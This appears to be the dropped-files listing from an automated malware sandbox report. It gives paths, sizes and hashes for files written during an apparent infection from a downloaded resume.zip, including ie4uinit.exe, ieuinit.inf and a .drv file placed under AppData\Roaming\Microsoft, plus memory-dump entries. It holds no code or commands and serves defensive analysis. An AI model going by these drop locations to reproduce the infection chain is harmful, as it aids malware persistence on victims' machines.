48870540a5e7aedf4513610e23dad5d37ff48dde92909345771f7235d4526893e65d11915b46191e62dbe6e9bed4626215703fc90932bdebed356568c1557f95

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
168B

MD5
563ef00f477e1fe26518cdc5078a89d7

SHA1
5fc23b3af16d7c4602852170a2e304537b9d6713

SHA256
57aba16fa4dbc0e95c749876cda1370b02ebe77b819af379281de95340951dcb

SHA512
9c36e9deb4d9bd6fcd353350fe9748a5ca4f13f196cb33e68b69adf63a1b9d1e0c44d791adb73ffb1996af86a8361b92ba0b167bbc34756bba5874fffaaeb5c6

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
168B

MD5
c41b0adb484e4e1182c26975558e7ed5

SHA1
e9a50dc3c96b3b21b54c5508867391cbfaa2bb49

SHA256
33ac0f8e2bda153d62155506f046f34e8241e7b4b9693a6f0b3a9fc8c62a1b3c

SHA512
5271668ca0161de1f5f7b6ec0a6256aaaff010880ed09ba060b1f89255a3e342aa5fd5253d3b8bceb707633024983da7a437333955296b69a7d14e04002e3bf2

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
2KB

MD5
64538e422298406195b2c5025a97a121

SHA1
e94d95a7d4bbad3ccb25e5c52c2644a6bd98d0fb

SHA256
70f2fc49c25db637bd56355d4f103f60fe197d6056db680754b329e114ee266a

SHA512
31bfdf9e800fb809d63e829d02f96b16b4629b3ebc727377125627c21d4c659f68862c3f1c37c87cb23fb22e79fd8c936644f211e5d65e46f38e4cebd4ba77db

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
2KB

MD5
ed9940d7e49d364aac18f3cf7b547ab6

SHA1
d1a4a7292ef5defc66c0833d23a5365765181359

SHA256
3b18cadc91e90a592067eea28d99fd74fbe27109fd3ad46178ad5d2263699697

SHA512
92951a0ea6297036460167607620df400d6d0bc2d5c1a208c1e9f5eb1dbc52ea9dc39796b39f36d487d258b755fb657b98a090979bc7d4c708e31a472056dc35

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
2KB

MD5
f39ce3b4bd783334593fd12eec14b699

SHA1
d074bc674e40c55a826e9a5ce37b1b2a20d5629b

SHA256
80556d14bb7658474769598d4028b0880749c60d15e876402115176550408b63

SHA512
df1159e8721ffc63642b4453cdbf138b313c0bce481ae327a784628d4cc09d7fe429cfd09609b110324116816c9e2a1936cde0e30ad3748f91ea32bcf05ac123

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
2KB

MD5
e96f9623c6b7a9ea46d53d126e5405c3

SHA1
2fa1f4c9158689d36ace99a28117b14946638d03

SHA256
5d81be665fa4fabcdb5fd42522143c0a77ee985963cdaafc9aa90473cdaf9937

SHA512
9d2f40e129e1f83e4d4b6ab65ebbbba80c5e437aad0548aa284d20aa03c8029121a3e4ce371c4b60dbdcb9ae146b52bb72223affa4ac06f2dc046f5f66d9e62e

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
371B

MD5
9d89cce09049eee7bc9bae32e831ff03

SHA1
7571f5dc1b3ac83773692f9e2fc721b60f16a9e3

SHA256
4de641fc362ee1b592090113e5e176cfe805ded6ecf43042d969d3ca1cd61ed0

SHA512
fa575753da63a6814f829c8f1a1483d057a278a21c149e74323a1b8814bef719bb7f2ef629a0b06826c378a0af6e824bb8cd05cd0e3dabd5f045b040e3d75132

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
538B

MD5
4975efaee35f627862b5cf85da4902aa

SHA1
ee4eea618d898622090d63ab078f0b42d45dcd70

SHA256
8b5bdf82d03db3edc69d9874c7e028b968c31a6d5774d84ea4fd1ba98e5d6df4

SHA512
59c915576873d1abd68c9a6980d00767774afe0f5ea2a08aa483e352e522e850ee847e2a0b9dccddf348ab5825e86b765f7697882a08bd377925dc02f1c94320

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
5KB

MD5
9700a9f8680e57ef578aaa50e0b4b329

SHA1
fe5dd5e1c29503ecfe0baeabff55e236b63560d1

SHA256
3360031315e242720a37295b904402427980e16eecf1052085841546dbdd04c2

SHA512
37a04b657b7c60e6b4bbcaaf7e4e58c15483468cdb54e738fb7bc05bbbf74df42db5ffc16f2c8768a104090e5577f49029426bd17f068f389d33b02934608271

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
5KB

MD5
fceb73b4a4cf40e25d4b41fd99513a19

SHA1
cdeb9a884d6eb99b0b2450110e01c3473d73d4a5

SHA256
034d4a49ebb0b59696e7f68ad91bd8545e3b192cc3c2562edb5c6a951f267c81

SHA512
c3e4b5787a3247598a90219cebbc5790398ed38fae83b7e73f692bbe0f46613635c61590121820fa288301f9cc04a2b2fbe3390799678d6b8065aebe24874b48

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
6KB

MD5
bfa96c1519d4c9a1a83501c7092f0ee6

SHA1
131404d238ccc84bebdad6257fc50cb498f4ca0b

SHA256
dc6cfece29f73b4d381c64447aace8df17581ba93d052b27bf4be9d0fe047e60

SHA512
aaec965cdfd3f833311689c41ee92da054556640e711873de136ceb79f0f3f48f846ef21553df6d9aba3300d4579c7f0f3c97a9f7fea13b692e0d2da2c19653d

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GrShaderCache\data_1

Filesize
264KB

MD5
fdbb73baa49bdc70b934e5c7c4369e04

SHA1
53a2ec861995a111c5756689e1149fb733b4f196

SHA256
a8fd3513a8b6eaa12ebe9e7643df0fb34680632721b2ee4c053a57dbdd15b6e0

SHA512
fe50940c696dc1badb5b5f52e19c1b63a4de9b56f56a97002a9cb5f8f742b0056636b3da417c44fce875d575c12d0c312eab2441afb7f53dd27dfe2f502d401e

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
172KB

MD5
b46c053e063ad8143cf723c138b09501

SHA1
30fc3623e8ed04b37ae4391c125d2ee31858ec49

SHA256
6e01a4fb4900ca4bad0f00c15d5454bdf48b1f5ee90ef76dd9f10ba86a7d2558

SHA512
a42fc6f97471b1e76e2eea9379e89f50b1777cac663fae0cedd553f54142c5a2213eed31751a2146b2f29d1dbc0e2c4fa8d49159e8b057f6ef6be827bacf77cf

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
172KB

MD5
70b216f823273be7937feb704fc5b443

SHA1
6e76b76276aecd1ef02040500dd905b021dc28d0

SHA256
5c67dbbe19d4f827f3f47ddf749c5065c6955aa396f332bd0202a9fad42d7b39

SHA512
8e7e19c60c7736423a9aaedf2da1d86ca125b3326e9875eebab8cb9a95736dc8a209ac7e6463c8bc33df90c0208848fc6df2cf06546ff63c5434251c78810e66

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Module Info Cache

Filesize
110KB

MD5
8846479e7d6c66b31b0403ca86c6d217

SHA1
4bfc34520832c5988fbc375d910eb6230d26913d

SHA256
0ec2318761780ccdde69a245d05ec2515c91e1edb9afe63565a207f731f9dfb8

SHA512
05b6680d1e3b254e5dbcab0fe33c181c6b5456be2abd8ce1f76835023edbe8f1a13b5584b679bc35c7d775f7c4bbc1f27d598dfc5d0e3ac484687f708f1985b9

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Module Info Cache

Filesize
101KB

MD5
d2a552a3f0fecf131f45fde5968e5ee9

SHA1
504382ea124aefe67cea6e8d086645112e88f58f

SHA256
3d0259fcffb22418c0c35803d29e3af974d67546b28cdf0483d1e421d25e036f

SHA512
6d263a8b1777818fcdb9aa35f60c3196aadeef3c28e7e4db5d6b50f5be08fa01593a996397f2046ba37c34e8a5f1bb514ce0088e86383db697efdc3b79ea8cea

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Module Info Cache~RFe589df1.TMP

Filesize
98KB

MD5
07784e0a5b50617b5fef86b5d8bf4485

SHA1
83bd492945688f277ee6c2d0f18bd094599659e7

SHA256
cab706d8655e30964c94bd52a399ac3980bf400fb20062c63a50b624f59ef29f

SHA512
014985a4df58d114fd5a46195727dc7246e809521133eab696936f2c84cf03ee5b8a0ecf396ba5b16a89ccfd84d5286eab5b5146a9dda633d8b2387c9999c35d

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\persisted_first_party_sets.json

Filesize
2B

MD5
99914b932bd37a50b983c5e7c90ae93b

SHA1
bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f

SHA256
44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a

SHA512
27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd

Download Submit
C:\Users\Admin\AppData\Local\Temp\27037.txt

Filesize
80B

MD5
4fdbae9775a20dc33dec05e408c2a2ad

SHA1
3eaa51632f2beae23d9811b9ff91e31c91092177

SHA256
228cd867898ab0b81d31212b2da03cc3e349c9000dfb33e77410e2937cea8532

SHA512
6ff34b7848ce3dbce1d150107b54a1903d074058c04de0b8b647071f5e310045cc7a7e74f6b6eed24e2e54f5c10b0899b63cf97d6a40c9da07c3bbe373b294bb

Download Submit
C:\Users\Admin\AppData\Local\Temp\45921.txt

Filesize
108B

MD5
eb529d46e25f2dfd4c7130eaa456ffd1

SHA1
29177632ee5c5415496fe6fda64341465604afad

SHA256
7bcfc9a90ec54bf5258aeaaefcecf6c7db47eb5f071fb48f06ae64e8f42636dd

SHA512
e9007e152b60d617dfb318e965c414e2cba9af432753799d106c822bb5afb6f150f98c15d844628417d9ceefd259c6304d5d4741c6b1e632a5d5f0afa7c5aaeb

Download Submit
C:\Users\Admin\AppData\Local\Temp\63177.txt

Filesize
186B

MD5
641e4b46f39dc9f57fe69fb0884016d7

SHA1
ace7259d1dd8ae41af81f46440f46c57c438a66c

SHA256
9cdfa6d408fd841060d662aff92a76ae451b260fbda4da1e508660cc9eb71df0

SHA512
fe5799879308e304f70e8c30bd0fe29caa6b9f48062bad10fadca81cb4964ac503ae11dd8bc3af1313f50a821778855353bedeb2fe3d9af395da99689902213c

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\44373.drv

Filesize
250KB

MD5
59525ca4ccdd8d249babc7e871ceca10

SHA1
3e8c807863d32949f97bf2767a2ba5bb7080c15c

SHA256
a066fc66307f80e2eea3db79966684aafd2b7f68309c1c4a898661cfb5d7c1d4

SHA512
c2dc74c1e0498ed7929f0247b3edbe8e427c0c8947c9fc747adc62a714b0691680f95179a55f4c907b92060bc92ed53315d95bc3cef3ec187a965d3a4bbc3b26

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\44373.drv

Filesize
250KB

MD5
59525ca4ccdd8d249babc7e871ceca10

SHA1
3e8c807863d32949f97bf2767a2ba5bb7080c15c

SHA256
a066fc66307f80e2eea3db79966684aafd2b7f68309c1c4a898661cfb5d7c1d4

SHA512
c2dc74c1e0498ed7929f0247b3edbe8e427c0c8947c9fc747adc62a714b0691680f95179a55f4c907b92060bc92ed53315d95bc3cef3ec187a965d3a4bbc3b26

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\ie4uinit.exe

Filesize
262KB

MD5
a2f0104edd80ca2c24c24356d5eacc4f

SHA1
8269b9fd9231f04ed47419bd565c69dc677fab56

SHA256
5d85c4d62cc26996826b9d96a9153f7e05a2260342bd913b3730610a1809203c

SHA512
e7bb87f9f6c82cb945b95f62695be98b3fa827a24fa8c4187fe836d4e7d3e7ae3b95101edd3c41d65f6cb684910f5954a67307d450072acd8d475212db094390

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\ie4uinit.exe

Filesize
262KB

MD5
a2f0104edd80ca2c24c24356d5eacc4f

SHA1
8269b9fd9231f04ed47419bd565c69dc677fab56

SHA256
5d85c4d62cc26996826b9d96a9153f7e05a2260342bd913b3730610a1809203c

SHA512
e7bb87f9f6c82cb945b95f62695be98b3fa827a24fa8c4187fe836d4e7d3e7ae3b95101edd3c41d65f6cb684910f5954a67307d450072acd8d475212db094390

Download Submit
C:\Users\Admin\AppData\Roaming\microsoft\ieuinit.inf

Filesize
524B

MD5
13473ffdda6d9a98bd6c0b055afea351

SHA1
f6856e8516ac590892c21983eb7d098870c02b0e

SHA256
9296e2f3ffdd4c09183a375c1a8fd33889541bf5421fd1e728f971ecba1a1a16

SHA512
6e94c7b39a9f974e4cf19e560b60e17842521c93dc016db2390249b73b0f55e21ffc9477d17ecbe9f6080f735da24394999781b9fcf70cac4ad9c8ecdd4ae72b

Download Submit
C:\Users\Admin\Downloads\resume.zip

Filesize
26KB

MD5
4bf323365f7bc9d56bf8e651af89de7a

SHA1
a485d7c68cc3986ac57dc41d45b6944ff305d7cc

SHA256
8f3e78d70748a4ffce9c5685c1a9d8fd2595d59ff38cd2586df437e9b34b3a40

SHA512
38794fed2c7a613de3fd7cd73a83f44595ce75a381142084a6f4b23af5b33b2e23cb1091554c1ebfe463af66f5abe9c100a97708a44afcd0be4c627b111d512f

Download Submit
C:\Users\Admin\Downloads\resume.zip.crdownload

Filesize
26KB

MD5
4bf323365f7bc9d56bf8e651af89de7a

SHA1
a485d7c68cc3986ac57dc41d45b6944ff305d7cc

SHA256
8f3e78d70748a4ffce9c5685c1a9d8fd2595d59ff38cd2586df437e9b34b3a40

SHA512
38794fed2c7a613de3fd7cd73a83f44595ce75a381142084a6f4b23af5b33b2e23cb1091554c1ebfe463af66f5abe9c100a97708a44afcd0be4c627b111d512f

Download Submit
C:\Users\Admin\Favorites\Bing.url

Filesize
208B

MD5
5d42dddda9951546c9d43f0062c94d39

SHA1
4af07c23ebb93bad9b96a4279bee29eba46be1ee

SHA256
e0c0a5a360482b5c5ded8fad5706c4c66f215f527851ad87b31380ef6060696e

SHA512
291298b4a42b79c4b7a5a80a1a98a39be9530c17a83960c2cf591b86382448cd32b654a00fc28eab4529df333a634bcdc577aef4a3a0a362e528b08f5221beb1

Download Submit
\??\pipe\crashpad_4820_UXZDPTFKCGPHKOLJ

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/864-380-0x000001E9F6490000-0x000001E9F6491000-memory.dmp

Filesize
4KB

Download
memory/864-379-0x000001E9F6490000-0x000001E9F6491000-memory.dmp

Filesize
4KB

Download
memory/864-378-0x000001E9F6490000-0x000001E9F6491000-memory.dmp

Filesize
4KB

Download
memory/864-377-0x000001E9F6490000-0x000001E9F6491000-memory.dmp

Filesize
4KB

Download
memory/864-375-0x000001E9F6490000-0x000001E9F6491000-memory.dmp

Filesize
4KB

Download
memory/864-376-0x000001E9F6490000-0x000001E9F6491000-memory.dmp

Filesize
4KB

Download
memory/864-374-0x000001E9F6490000-0x000001E9F6491000-memory.dmp

Filesize
4KB

Download
memory/864-370-0x000001E9F6490000-0x000001E9F6491000-memory.dmp

Filesize
4KB

Download
memory/864-369-0x000001E9F6490000-0x000001E9F6491000-memory.dmp

Filesize
4KB

Download
memory/864-368-0x000001E9F6490000-0x000001E9F6491000-memory.dmp

Filesize
4KB

Download